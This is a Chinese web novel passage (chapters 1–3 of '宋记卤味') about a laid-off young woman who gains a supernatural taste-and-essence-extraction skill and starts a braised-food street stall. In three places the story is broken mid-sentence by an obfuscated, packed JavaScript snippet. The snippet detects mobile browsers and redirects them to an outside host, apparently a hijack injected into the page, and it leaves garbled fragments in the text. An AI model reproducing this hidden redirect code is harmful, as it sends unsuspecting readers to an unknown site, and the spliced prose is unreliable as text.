《宋记卤味》 1. 第 1 章 “所以，你的意思是我这么多年的味觉问题都是你搞得鬼？” 【宋小姐，很抱歉给您造成困扰。金舌头0818号系统原本定位位置是隔壁厨神世界，一位圣级厨师利用家族资源向系统发起订单，给自己的曾孙兑换了一级味觉灵敏，然而在发放时意外绑定在您身上了。】 路边烧烤摊的蓝色塑料椅子上，女生握住广口玻璃杯，绵密的泡沫逐渐消散，宋晚秋咽下一口啤酒，忍不住皱眉。 涩感过重，小麦原料在晾晒时有部分发霉，用于发酵的溶液中还有三分管道锈味，适当冰镇后也并没有消失，反而在她的舌头里更添了欲拒还迎。 旁边的几张桌子，喝上头的客人似乎根本喝不出啤酒中的异味，又或者世界上能喝出这些东西的人少之又少。 “那你是什么意思，我这二十三年的苦都白受了是吧？我吃肉吃出的腥臭味，吃青菜吃出的泥腥味，吃个白灼虾都能知道这盘虾上锅前刚死了两分钟，这都算什么！” 【算你倒霉。】 无情的系统机械音在脑海里回应着宋晚秋的愤慨。 塑料椅旁，女生的黑白针织大包东西鼓鼓囊囊，从本子相框到保温杯护手霜，最下面押着的离职证明都在宣告她失业的消息。 宋晚秋双目怒瞪，被无良公司恶意裁员的愤怒加上二十多年的痛苦终于找到罪魁祸首，她勾了勾唇角。 “你这左上角好像有个投诉按键呢。”宋晚秋大脑开始飞速运转，“说起来也怪呢，您这金手指投放怎么过了二十几年才找过来了呢，这效率可不正常吧。” “还是说...隔壁厨神世界已经投诉了？”她拿起一串烤年糕，三年的陈米配合食用胶，又在冷库里呆了三年，被烧烤摊老板娘采购后成功上了桌。 宋晚秋虽然厌恶这些异味，但她又不是富二代能抱着牛啃，天天吃山珍海味。食用这些让她痛苦的食物已经成为了被迫的习惯。 “0818系统，你也不想被你的上级发现你的差评没有投诉还要被再加一个吧？我看看这系统规则，由于你的工作失误造成的损失，我应该可以直接向主系统申请索赔程序？” 原本冷淡的系统音突然卡顿，仿佛立马机器转人工般调换语气，上线最新温柔版。 【非常抱歉给您带来不便，亲亲，您看这边给您提供一个补偿大礼包可以吗？这边也是考虑到您如果要走仲裁程序的话时间也会比较久，为了大家的方便，希望您不要给小弟差评~】 看着变脸飞快，乙味满满的金舌头0818，宋晚秋默默问道。 “走仲裁你这边有什么影响？” 【QAQ亲亲，希望您再慎重考虑一下，目前主系统的仲裁流程大概需要本世界流速下70年才能完成，小弟也会被扣5分绩效分完不成KPI，希望您高抬贵手放过小弟。】 【您目前的金舌头效果将持续保留不会回收，同时我们也将给您提供升级版补偿礼包，搭配食材提纯能力。】 宋晚秋眉头微皱，“我还要你这金舌头干嘛？这二十几年还没折磨够我啊。” 【很抱歉呢亲亲，金舌头一经绑定无法更换，但是小弟已经给您将补偿礼包暗箱操作了一下，您以后不会再有这些烦恼了呢。】 【补偿礼包已经发放，请您于24小时后查收。如果还有后续问题欢迎点击左上角呼唤0818小弟，我将第一时间返回该世界为您服务】 【请您为我的服务打分，满意度依次微一到五颗星】 宋晚秋本想直接点下一颗星，顺便点亮【未能解决我的问题】的评价。然而手到半空，同时天涯打工牛马，身上同样浸润着满满乙味的她有些下不去手。 剩下的小半桌菜也吃不下去，她直接关闭评价按钮，拿起大袋的针织包结账打包回家。 23岁，刚刚毕业的年纪。 在实习中见缝插针的宋晚秋终于写完论文，拿到自己的粉领子，收获了自己月入三千的理想生活。 在她不甘心向粉领子势力低头，决定奋力一搏后，宋晚秋成功跳槽，拿到月入四千且单休的优秀薪资。 就在被琐碎工作折磨压榨得让她思考是否要裸辞顺带考虑去医院检查下自己有没有被狗工作气出结节的时候，无良老板成功和她双向奔赴。 刚刚交满三个月的最低档位社保，应届生小宋同学就被以“新媒体运营岗位未能帮助公司实现计划内转化，成单金额不足”予以辞退。 虽然短短三个月，但她已经觉得过了好多好多年。 早上约谈，中午赶人，下午填写仲裁手续，8小时工作时间内，宋晚秋成功完成失业流程。 带着酒意，女生海藻般的长发散落在枕头上，耷拉的被子遮住左侧睡衣，宋晚秋沉沉睡去。 被打工生物钟自然唤醒，宋晚秋半倚在出租屋里盖着防尘毯的沙发上，一边清点存款，一边补充仲裁资料，申请失业补助金。 等填写完最后一个条款，脑海里的机械叮咚声再次响起。 【叮咚！您的金舌头系统补偿礼包盲盒已上线，请确认是否开启。】 “开启。” 金光闪烁，脑海中甚至放映起炫光画面，宋晚秋被这光污染闪的头疼。 “跳过开场动画！” 【恭喜您抽中厨神级精华萃取技能！该技能将立刻与您进行绑定，不可转卖、赠送】 【提示：厨神级精华萃取发挥作用将与使用者精神力关联，当前精神力不可使用最高级别，不可多次使用，请适当调低比例，减少次数】 “精神力？” 宋晚秋闭目凝神，眉心一触之间突然感知到自己大脑和心脉之间有淡绿色的光粒在不断运转。 心念一起，经脉之中的光粒因子顺流至指尖，食指和拇指微微发烫。 宋晚秋微怔愣神，冥想中的光粒刹那间消散开来。 她立刻翻身，穿上淡米色的仿兔绒拖鞋，几步走到一旁的冰箱。 房东虽然给她的空调安了个满满的五级能耗，但冰箱却是这两年新换的双开门大号SIZE，冰晶色的外饰和简陋的出租屋格格不入，属于是屎盆镶金边。 冷藏室打开，里面的食材寥寥无几。从小受味觉异常的影响，宋晚秋很少能产生食欲，进食只是实现生存的手段。 指尖若葱白，宋晚秋伸手从第一层架子上拿出一个前天晚上刚买的特价丑苹果。 1块五毛八的超市标签贴在表皮上，尽管不如正价精品水果便宜但胜在没有额外的缺陷。 略微皱巴的表皮暗示了它在超市货架上停留的时间。 宋晚秋双眸微闭，重新凝神聚气。 黑暗之中，一枚微弱的光粒从指尖的接触面汇入苹果内。她眉心略微用力，神思随着绿色精粹不断侵入果肉。 脑海深处，淡色的果肉的色彩浓度逐渐加深，而提前先被剥离开的黑褐色物质也被排到果皮之外。 精华萃取不断发挥着作用，那枚淡绿色光粒暂未消耗完，宋晚秋本想继续提升浓度，但识海却无法继续攻入果肉细胞之中。 这就是目前精神力能够做到的最高级别了吗？ 宋晚秋睁开眼，将手上的苹果冲洗干净。 打折特价的丑苹果已经焕然一新。 暗红色的花纹被调高了饱和度，虽然依然是丑苹果品种的颜色，但整体色度更加饱满。 萃取后，原本皱巴巴的表皮圆润平整带有温润光泽，跟之前打蜡产生的光感完全不同。 宋晚秋粉唇微张，咬下第一口。 还未入口果香已经呼之欲出，浅黄的果肉随着咀嚼迸发出汁水，似乎每一个细胞都散发着活力，像是刚从枝头摘下一般。 味道并非纯甜，回味之中有一丝恰到好处的水果微酸，在不破坏爽脆口感的前提下给苹果带去了更多风味。 她像是动物园里被禁食的野猴子刚刚拿到食物，飞速将手上的苹果吃完，只余下细细的苹果核，看向它的眼神还带着一丝不舍。 宋晚秋狠下心把果核扔进垃圾桶，心道：0818给的补偿礼包也太给力了吧。 公司之前招待客户吃剩的水果曾经被行政拿来当做福利分发，她之前吃到过一次据说是新西兰进口的火箭苹果，只觉得比平常吃到的水果口感稍微好一点，但依然会由于过度敏锐的舌头尝出其中的不新鲜之感和微涩味。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839529|159122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可现在，仅仅是将精华萃取作用在打折水果上，就已经超出寻常精品水果太多。 女生勾了勾头发，沉思片刻，随后笑意绽开，眼睛随着上扬的嘴角微微弯曲。 有了金舌头系统提供的精华萃取，何必再回到一家比一家摆烂的职场重新做牛马呢？ 万般皆是缘，既然与金舌头系统相逢一场，向美食进发便是她宋晚秋的机缘！ 宋晚秋洗完手后重新回到沙发上，点开手机里的小地瓜APP。 自从踏上工作，她的小号就迅速变成了职场负能量堆积场，充斥着领导同事在天堂的美好祈愿，甚至靠着吐槽公司获得了自己第一个破万的图文帖子，远远超过公司官号。日常发些新的上班黑泥也会有一些熟悉的搭子过来评论留言。 点进主页，消息栏中小片红点，昨天被狗公司扫地出门后，宋晚秋也没忘了跟自己的互联网搭子们汇报。 早C晚A上B班【秋秋人你不要死啊！我关注的上班博主怨气组怎么也被fire了】 没事这辈子很快过去了【对博主来说离职应该也挺幸福了，如果有存款稍微缓一阵子再找工作吧，感觉看前面几条博主人已经要疯了】 宋晚秋先略过小红点，打算过会再回复。 秋秋人（离职运营版）： 【书接上条，苯人刚被通知裁员，公司不愿意给赔偿，现在已经收集完证据提交了仲裁手续。 目前暂时不考虑重新找工作了，打算摆摊卖吃的，大家有什么推荐的项目吗？存款不到五位数，最好能小成本做的那种！ #摆摊 #餐饮创业 #自由职业】 许是这会儿正是大家带薪摸鱼拉屎的好时候，没多会就有人在帖子下回复。 momo【试试卖淀粉肠？不都说这玩意儿发家致富吗】 一颗西红柿回复@momo【拉到吧，淀粉肠市场早饱和了，地铁口出去就能看到十家。卖这个博主说不定一天销售额才十几二十块】 小红薯A2C79【秋秋人打算干早餐还是什么？早餐要不试试买煎饼三明治啥的？我之前还想去学校门口卖稀饭包子啥的，就是觉得速冻的味道不行，自己包包子怪麻烦】 秋秋人【应该不卖早餐吧，夜宵应该也不行，都得熬到凌晨两三点三四点，感觉这个作息有点顶不住】 不吃香菜回复@秋秋人【那就正常晚饭左右出摊？地点有想好吗，学校不错的】 秋秋人【学校不一定能去呢，附近一公里有小学，小区边的幼儿园估计不好卖，小学平常管得挺严，放学保安会专门腾人】 秋秋人【居民区倒是还行，我平常回家进小区那条路很多卖吃的，而且出去也挺近还不用买三轮，那边卖烧烤炒饭的特别多】 月光下的小咪回复@秋秋人【螺蛳粉、提拉米苏、蛋包洋芋 这些怎么样？】 行业冥灯回复@秋秋人【博主手艺怎么样，别随随便便就往餐饮钻，餐饮水太深，我怕你保不住本。】 行业冥灯回复@秋秋人【如果决定在居民区干的话，千万别乱搞那些花里胡哨的网红产品，啥冰糖炖梨、关东煮，这些在居民区开没两天就得倒闭，最好还是找那些常见的来】 宋晚秋思考了下，她的手艺还真不好说，以前做饭也被自己妹妹和同学夸过好吃，但要说多好那也不至于，顶多是个家常菜水平吧。 不过......考虑到精华萃取的金手指存在，她相信做出来的产品不会差到哪去。 秋秋人回复@行业冥灯【冥灯哥，居民区摆摊有什么常青不倒的产品吗？】 行业冥灯【那肯定是卤味啊】 行业冥灯【诶！博主你可别瞎搞啊，没有金刚钻揽不下瓷器活！虽然这东西咋都能卖，但哪个小区不是固定就那几家，新进去的全都活不下去，又要手艺又要积攒回头客。你别乱试啊，不然还是去卖蛋包洋芋淀粉肠吧！】 宋晚秋勾起唇角，低头打字。 秋秋人回复@行业冥灯【谢谢冥灯哥，放心吧，我有信心。】 行业冥灯【......好小子，又一个餐饮小白栽进去了，你还不如去门口卖冰糖雪梨得了】 2. 第 2 章 宋晚秋决定选择卤味并非胡来。 人间烟火气，一家靠谱的卤味铺子其实是一个人到新的小区后熟悉环境、扎根落地的必经之处。 “去买三块钱的卤豆干，少放点辣椒，记得去菜市场口那个女的摆摊那家。” 操持着晚餐的母亲经常在淘米切菜时给孩子发配跑腿业务。 相较于那些动辄两位数起步的卤肉，卤味摊上的素菜更是细水长流陪伴着一家人的餐桌，从牙牙学语的婴孩到就业工作，直到那些摊上的人逐渐变老，那处摊子才消失在街道。 作为每片区域的老住户，无论是业主还是租客，都会对范围内的卤味店了如指掌。 而刚刚搬进这片区域的新人，往往也会一家一家试验，直到找到最符合口味的那一家。 宋晚秋低头沉思。 卤味的分类其实很多，常见的卤菜烧腊，快餐的鸡腿饭鸭腿饭，这些都是卤味中的一种。 作为新摊出阵，老式的烧腊不仅很考验厨师的技术，还基本垄断了已有客源，实在不适合以此为依托。 综合来看，再考虑到成本问题，宋晚秋点了点头，决定卖热卤串串。 之前从公司下班路上，很多热卤店开始打着一元一串的卤味旗号，生意也是相当不错。 况且小区门口的美食摊除了老式的烧腊卤味，目前也没有这样的摊位在做，同赛道竞争并不激烈。 说干就干，宋晚秋来到书桌前，打开电脑。 她一边通过万能的互联网搜索着配方，一边打字记录着，纤纤指尖在银白色的键盘上飞舞着。 “八角、小茴香、桂皮、草寇、山奈、香茅草......”宋晚秋简单记录着卤料包的配比，把其他调味和蘸料食材也一同写在清单上。 长长的采购清单写完，她并没有忙着出门，继续搜索着摆摊经营证件许可，看了看打算这两天先把健康证办了。 由于体检需要空腹，她立马预约了明天一早的办理时间，尽量以最快时间拿到证件。 站在穿衣镜前，宋晚秋拉上一侧的口罩绳子，用鱼尾抓夹把头发简单盘起，刚打算拿个便利袋就出门，想了想还是去阳台外把四方带轮的买菜拖车拎了出来。 宋晚秋：总感觉...要买的东西不少啊 为了把这一长串清单上的香料迅速备齐，宋晚秋直接去往农贸市场里的粮油干货店。 “姑娘，你买这么老些应该不是家用吧？”干货店里的老板娘张姐一边称重一边喊着旁边系着围裙的男人。 “搞麻溜点呢！整半天了还没找出来。那么大碗面条白吃了？” 宋晚秋扫视着店门外摆放着的货袋，回应道，“确实不是家用，后面打算自己出摊卖卤味试试。” “马上马上！”男人翻箱倒柜，终于在角落里把最后一样香料找了出来。 “丁香就剩这些了，之前也没进太多，小妹儿你看看要不要全都要了，我便宜饶给你。” 干货店老板老张把最后一袋丁香收拾干净，混着香草籽一块拿到秤台。 普通的香叶、桂皮都还算好买，偏偏二十几种的卤料包里需要的丁香和香草籽实在是太小众。这家菜市场内铺子最大的干货店也是找遍仓库才翻出来这些。 宋晚秋暂时没忙着结账，又在另一处货柜闻起了辣椒，蘸料这部分目前暂时还没时间自己制作，这边用成品的蘸料加以配比味道应该也还不错。 不用细嗅，火热的辣味便涌了上来。香而不燥，想来用这样的辣子来搭配炭烤的羊肉大串味道也不错。 “都可以尝尝味！”张姐乐呵呵地招呼着，手上不停给香料打包，“这辣椒面还是昨天我们现磨的呢，可香了！” 宋晚秋尝了一下还算不错。 辣椒面的前身应当不算品相太好，但胜在没什么添加，加上烘炒的火力，尝起来倒是原滋原味的满足。 “老板，这个辣椒面是用的什么品种啊，感觉跟其他的不太一样。”宋晚秋抬眸望去。 张姐停下手里的动作，惊讶道：“嚯，小姑娘你这舌头还挺灵啊，这都尝出来了。” “这个用的不是外面卖的那些品种。”张姐上下打量着面前的小姑娘。两侧的八字刘海蓬松散开，刚刚拉开一侧绳子的黑色口罩下露出白皙的脸颊。 样子看起来嫩得跟个高中生似的，没想到舌头还挺灵。说不准这生意还这能做出点名堂。 “这袋辣椒面可不是用的那些采购的干辣椒，是前阵子有个经常来摆摊的老头上门问收不收。”张姐手上称重打包道。 “那老头说是他自己地里种的辣椒吃不完，最后全拿去晒成干辣椒了，我也是看虽然品相差了点但味还比其他看着好看的辣椒香些呢！” 宋晚秋听了也点了点头，这辣椒面味道的确不错，整体辣味也并不过分突出，用来自制辣椒油作为配料想来很合适。 “加上辣椒面三十六块七，总共三百六十四毛六，就给三百六就成！”张姐乐呵地算完价，“我看姑娘这阵仗也不是小打小闹，后面还要买的话记得还找咱家，到时候多给你优惠！” 二十来种香料加上辣椒面，宋晚秋的买菜箱子被填了一小半，钱包余额更是活生生减去三百六。 扫完付款码，女生拖着箱子又去主入口的菜市场随意买了些素菜，甚至都未过分挑剔蔬菜的品相，直接买完还以此杀价。 赚钱如拾贝，花钱如流水。 菜钱才去了几十块钱，香料偏偏还占了大头。哪怕知道香料不便宜，这实打实买一次才明白为什么古代香料得达官贵人才能用上。 现代的贫困前任白领也肉痛啊！ 宋晚秋把东西都挪到家，她现在的主要还是打算以素菜起步走量，其他菜品直接找了网上的冻品批发，打算进一些鸭胗、丸子、面筋之类的好卖的半成品。 之前买的生鲜饺子馄饨的包装盒一直攒着没扔，宋晚秋把洗净晾干的食品保鲜盒都拿出来，一一将香料们分类摆好。 第一次做实验，宋晚秋计算后将卤水配方中的各个配料和水量都按比例降低成小份。 汤锅内装入清水，按比例依次放入八角、小茴香、桂皮、香叶、草蔻、香茅草等十六七种香料，转大火烧开。 锅里的香料水咕咚咕咚地开始冒泡，宋晚秋把火调成中小火，闷上锅盖，顿时满屋飘香。 就这个味道就错不了！ 宋晚秋把袋子里的蔬菜都拿出来，该削皮的削皮，洗净后依次切块切片。 配菜基本整理完，锅里的小火也冒了三十来分钟。 宋晚秋拿出厨房称，把盐、鸡精、白糖先后称量好倒入锅中。 随后加入汉源红花椒、干辣椒、豆瓣酱还有生姜调味。 大勺搅拌均匀，卤锅里刚刚放入的调味料融化于内，宋晚秋随意往里点上一些白酒与菜籽油提色增味。 虽然闷上锅盖，但这锅正在熬制的卤汤的香气却霸道的从缝隙中溢出。 居民楼下，排排坐着聊天的银发老太太也忍不住嗅了嗅鼻子。 “什么味啊这么香？” 旁边扔桥牌的老大爷忍不住回怼，“胡老太婆，一天到晚发神经哦，就你那个鼻子还能闻得到味啊！” 胡老太没理会，越发认真闻味道。 “错不了，肯定是有人在煮卤味，咋个这么香哦。” 刚刚还回怼的郑大爷一听，也细细嗅去，点了点头，“嗯，是这个味！” “这家人这手艺闻着就不赖，香味都传到咱这来了。” “说不定是加了香精！你没看那电视上都在讲嘛，那些味道特别香的，八成里面加了化学药品！” 郑大爷左边石凳上坐着的一个背心老头摇头反驳道。 “放你娘的屁！”郑大爷不屑地冲他哼气，面上满是无语。 “邓老头，你是上回住院脑壳没医好吗，那加香精的肯定是往街上卖的噻！谁家自个儿做个卤味还要加香精哦，我看是该往你天天吃的降压药里放点耗子精！” 一圈的老人听了都忍不住哄然大笑。 厨房里，宋晚秋对锅里熬煮的卤汤所引发的大爷大妈们的谈话一无所知。 右手将火再调小，宋晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839530|159122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋另起一锅，在铁锅中倒入菜油。 黄色的搪瓷盆子内放着刚买回来的辣椒粉，里面还不忘撒上一大把白芝麻。 油锅微微冒烟，宋晚秋往里加入些许洋葱、小葱和香菜来调味增香。 干料变黄微微发黑付出油面，她又用大漏勺将这些残渣捞起，微微抖动挤下控油后捞出。 宋晚秋拿着大铁勺舀出一勺热油，慢慢地泼在辣椒面和芝麻粒上。 滋啦—— 香！ 原本被卤汤溢出的香味所填满的厨房内有被霸道地攻入了另一种香气。 被热油泼后的辣椒面略微有股呛鼻的味道，但与卤汤的香气却并不排斥，反而相得益彰。 第一勺热油泼下，宋晚秋并不心急，等待辣椒面们冷静了会儿才继续往上面一勺一勺追加，边加边搅动是的辣椒油的的融合更加完美。 红润的辣椒油上漂浮着白芝麻，红油色泽透亮，芝麻也是颗粒饱满，让人食欲大开。 关上卤汤的火，此时这第一锅卤水也基本加工完毕了。 宋晚秋细细闻了下香气，又用小勺将卤汤盛出一点，仔细品尝。 托十几种香料的福，这锅卤汤尝起来的口味相当丰富，入口有些微咸重口，但考虑到后续还要用来卤制食材，这个咸度倒是再合适不过。 只是...还有个最重要的事没做。 宋晚秋闭上双眼，将自己的精神力向卤汤锅中漫去。 卤味最重要的便是这一味锅底，若是将目前识海中有限的精神力都拿去对蔬菜一一提炼，以目前的效率恐怕一整天都未必能做出多少成品。 相反，若是锅底能远胜旁人，哪怕食材的处理上暂时未能十全十美也能被卤汤的滋味所弥补，这也正是卤制技术的妙处。 绿色的提纯粒子想对这锅卤汤下手却并不容易，此时最是正佳提纯时期的卤汤内部分子正随着四散的热气乱窜。 宋晚秋精神识海中不断凝聚着提纯粒子，心中沉思。 卤汤的提纯精炼不应当采用跟之前的苹果一样的处理方式。 苹果的精华较为单一，只需要简单压缩排除杂质便可完成。 卤汤内的几十种配料以及后续会不断卤制的菜品都会成为卤味好吃的重要原因。 多种食材香料的混杂，匹配上适当的比例，才能形成复杂浑厚的卤汤。 若是一味去除杂质，机械化的提纯精华，只会让这锅卤汤内的各个香料变得美则美矣，泾渭分明。 宋晚秋思考后，便操纵着提纯粒子绕过弥散的热气，针对性地让卤汤中的香味和鲜味更加突出，同时对各个部分的香料源进行衔接，使得整体卤香味更加混元一体。 绿色的提纯粒子被逐渐消耗变淡，退出时带着一些额外的杂味离去。 随着热气慢慢减少，宋晚秋的额头冒出汗珠，忍不住蹙眉。 虽然大部分已经被基本处理完毕，但还有一小部分杂质随着冷却的卤汤变得更加顽固。 宋晚秋吐出一口浊气，细细冥想回复精神，再次对这锅卤汤出手，完成整体精炼。 她拿出刚刚试味的小碗，往里重新舀入一点卤汤品尝。 好霸道的香味！ 甚至让人有些怀疑刚刚品下这一口的自己是不是后背也会散发出中华小当家的金光。 如果之前参照配方做出来的是足以出摊的好吃。 那这份被精炼提纯后的卤汤则已经有了笑傲江湖无替餐的自信。 宋晚秋趁着这锅卤汤，把刚刚切好的蔬菜都都放进去小火卤制十来分钟，然后关火浸泡一小时。 因为卤汤的咸味不算太重，也不需要担心浸泡久了会味道过重， 配合着做好的辣椒油，宋晚秋就着米饭，难得的吃了个肚饱。 东风已备，出摊只欠细琐杂事。 只有楼下闻着香味的老大爷暗自不爽。 到底是谁家做个卤味这么香，把这群老头老太几乎都快退休的嗅觉重新返聘。 搞得牌局不欢而散——打着打着肚子唱起空城计，只得各自回家。 3. 第 3 章 周一下午六点。 刚刚从公司下班，蹬着共享单车回家的林峰纠结着晚餐到底吃什么。 星期天，林峰按着往日的习惯，一直在被窝里躺着，饿了就点外卖，这会子冰箱里倒是空空如也。 他皱了皱眉，纠结着要不要绕个道去超市买点菜自己做饭，但共享单车停车点又偏偏跟超市是反方向。 林峰打眼扫去，螺蛳粉、烧烤、水饺、馄饨、麻辣烫...... 小区门口的这两大排小吃摊都已经摆了出来。 卖馄饨饺子的倒是已经准备完毕，但旁边几家做烧烤的还没正式把炭烧上，手里一个劲忙活着将没解冻完的肉串给摊开来。 饺子那家味道非常难吃，还不如林峰自己在家拿速冻水饺煮熟。 不如去下面点的门店吃碗羊肉粉？但是昨天外卖已经点过了。 林峰长叹口气，难不成真得去趟超市买菜自己做饭？今天上班就已经被狗领导们折磨得够憔悴了，等做完饭吃掉再打扫战场，不得八点多了，留给他放纵的时间还有多少呢。 除非...... 他还能在这之中打捞起一颗沧海遗珠！ 林峰背着包，一路扫去，跟往常的小吃摊倒是没什么区别。 大黄的灯箱映衬着煎饼果子，旁边红艳艳的是咸得要人命的麻辣烫。 目光不断清扫，林峰倒是锁定了这条街上的最后一家摊位。 米白色的布料上打印着手写体样式的毛笔文字——宋记卤味。 相比于其他摊主专业的三轮车和餐车，这家显得格外简陋，大号的折叠露营桌和方箱带轮的买菜车一起组成了摆放菜品的小桌子。大号的保温桶被放在了地面上，但也被细心的用小架子隔开。 作为“专业食客”的林峰，不需要细看便知道，这新开的卤味摊绝对是年轻人试水之作。 只是赛道还怪独特的。 跟他吃过的上上个月倒闭的冰糖烤梨，上个月倒闭的糖葫芦还有这个月倒闭的自制三明治比起来，卖卤味倒是显得画风清奇。 林峰向前走去，一眼看到摊主，更让他坚定了自己的想法。 远处还看不清，走近便能看到桌子背后的月亮椅上坐着的年轻摊主，小姑娘带着黑色口罩看不大清楚全貌，精细的眉眼搭配着干净利落的丸子头倒是显得格外精致。 只是...谁家做生意的，饭点还坐在椅子上玩手机啊！ 林峰暗自吐槽，但却改变不了他来这家店试水的想法。 其一，这类摊位虽然寿命不详、味道不详，但几乎都是食品卫生的捍卫者。先别评价味道怎么样，起码一个个做的是真干净。 其二嘛，他是一个有点强迫症的集邮爱好者。 林峰在这片小区已经租住了三四年，从搬来的第一天就不断尝试着附近所有餐饮，店面、摊位、乃至外卖。 也因为这个习惯，他也让上上个月倒闭的冰糖烤梨卖出了凄惨的第一单——毫无滋味，软绵得不行的梨肉搭配齁甜到发苦的汤汁，林峰批评的话语在看到两个体验社会生活的初中生后只能咽下，同时咽下的还有他对自己改不了的强迫症的懊恼。 站到宋记卤味的摊位前，好在这家小老板看起来也还算有点眼色，看到来客了也知道放下手机招呼客人。 “您好，要来点卤味串串吗？素菜一元一串，荤菜两元一串，主食可以加方便面三块钱一包。” 宋晚秋清澈的声音从口罩下透出。 林峰没有搭话，遭受过冰糖烤梨教训的他，现在对年轻小摊主们的出品都带有一丝质疑。 他拿过细长的纸筒，往里一串一串挑着菜品。 纸筒的表面并没有直接使用目前最大众的国潮元素，看着倒还有点奶茶牌子的设计风格，只是依然有几个漂亮的大字写着宋记卤味的字样。 林峰看着桌上的菜品，虽然想要多加挑剔，但细细一看品相倒都还不错。 竹签穿好并下过卤水卤制的时蔬和丸子肉串都被均匀整齐的码好排序。 表面的色泽明显被卤进味，但不同于一些素菜卤味被卤透后的焉哒，桌子上的素菜都还冒着一股子新鲜劲。 林峰挑了些海带、土豆、西蓝花、金针菇，还不忘往里放点鸭胗和其他豆制品，随后把纸筒交还给摊主。 宋晚秋一边低头点数一边问道：“需不需要再加热一下？主食需要吗？” “加一份吧，菜也一块热下。” 毕竟是打算直接当做正餐来吃，而不只是一桌晚餐的陪衬。 林峰毫不犹豫同意了。 “好嘞，一共二十三块，您直接扫二维码就可以了。” 宋晚秋半侧过身子，身上还系着黑布料的围裙。 她打开卡式炉的开关，把桌子上的小锅卤汤重新加热。 为了不让客人等太久，这锅卤汤在她把摊子大概整理好后就已经先热了一会，因而没过多久，便已经开始咕噜咕噜冒泡。 宋晚秋拆完方便面包装，左手打开锅盖，原本被逐渐冷却的卤菜和这锅被盖子死死封住的味道再也无法隐藏。 好霸道的香气！ 林峰被锅里传来的味道镇住。 他从来没闻到过这么浓郁而香醇的卤香味！ 虽然很多卤味店里也能那样浓厚的味道，但跟眼前这家小吃摊比起来却显得过于深沉，少了那份清丽脱俗。 不只是他，随着炉火发力，小锅中的香气持续发力，顺着风散去。 沿线的食客与其他摊主也被吸引住了。 宋晚秋熟练地将纸筒里用竹签子穿好的菜品一一卸下，放到大漏勺中，另一只手拿着长筷子把锅里的方便面掀到另一角，方便加热漏勺里的菜品。 菜品温度本身也没有特别凉，等方便面大概熟透后也就差不多了。 宋晚秋先将漏勺抬起，微微沥干水分，菜品干净利落地倒入大盆。 空下来的漏勺也没闲着，重新回到国内把方便面也跟着盛出。 “调料有什么忌口吗？能吃辣不？” 宋晚秋抬头扫了一眼林峰。 林峰还没回过神，直楞地嗅着味道，又被催了一下才反应过来回话。 “配料都要，辣椒正常放！” 怪他看走眼了。 这家看起来不大像正常摊位的卤味摊竟然闻着真不赖。 这年轻的卤味小老板难不成还是个扫地僧？深藏不露啊！ 宋晚秋往盆内麻利地放入一点蒜水，葱花、香菜还有小勺的花椒粉，最后才打开搪瓷盆，用大勺舀入正常量的辣椒油。 配料打好，双手不断翻动，盆内的菜品被均匀地和上调料。 调完味，宋晚秋把盆子放下，拿出刚刚热菜时就准备好的打包盒子，将卤菜倒入盆中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839531|159122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>本就香味扑鼻的卤味现在还加上了亮丽的红油做配，一份美食佳肴居然就这么被放进了朴素的打包盒子里。 林峰的内心都为这碗卤味叫屈。 就在那只细长的手即将用盖子将卤味盖上装袋时，林峰终于忍不住出言。 “等一下！！！” 宋晚秋被吓了一跳。 她忍不住抬了抬眉，看向自家店铺的第一名食客，眼神之中满是疑惑。 林峰不争气地吞咽了下口水。 这股霸道的卤香味从刚刚卡式炉启动时就纠缠着他，从他的鼻子到舌头，这股香味像是随着香气的飘散变成一条绳子把他的舌头一并勒住。 他已经不记得自己到底吞了多少次。 “不用盖盖子了！我直接端着走！” 林峰迫不及待地从宋晚秋手中夺过盒子，甚至连打包袋都不要，直接拆开筷子咬下第一口。 好吃！ 腐竹独有的褶皱和结构和宋晚秋做的卤汤完美融合，复热后的菜品在原有基础上还更增了一份柔软口感和独特风味。 林峰不断咀嚼，胃部强烈的吞咽感和舌尖味觉的挽留似乎都相互打起了架，争夺着这份腐竹的所有权。 到最后，还是对下一份菜品的呼唤让这场战斗得以终止。 只是，林峰一口一口吃掉碗中的卤菜，无论是柔软的腐竹还是脆爽的时蔬，乃至于又韧又厚实，越嚼越香的鸭胗都是个顶个的美味。 虽然都是出一锅卤汤，但却有着各自独特的风味，除了食材不同的口感外，各自食材的口味也非常突出。 只可惜... 林峰看了看自己碗中还剩下没怎么动的方便面。 他怎么就想着吃主食了呢！ 林峰悲愤地夹起一筷子，打算吃完再去买点卤菜，入口后方便面的口感却比他想象中更好。 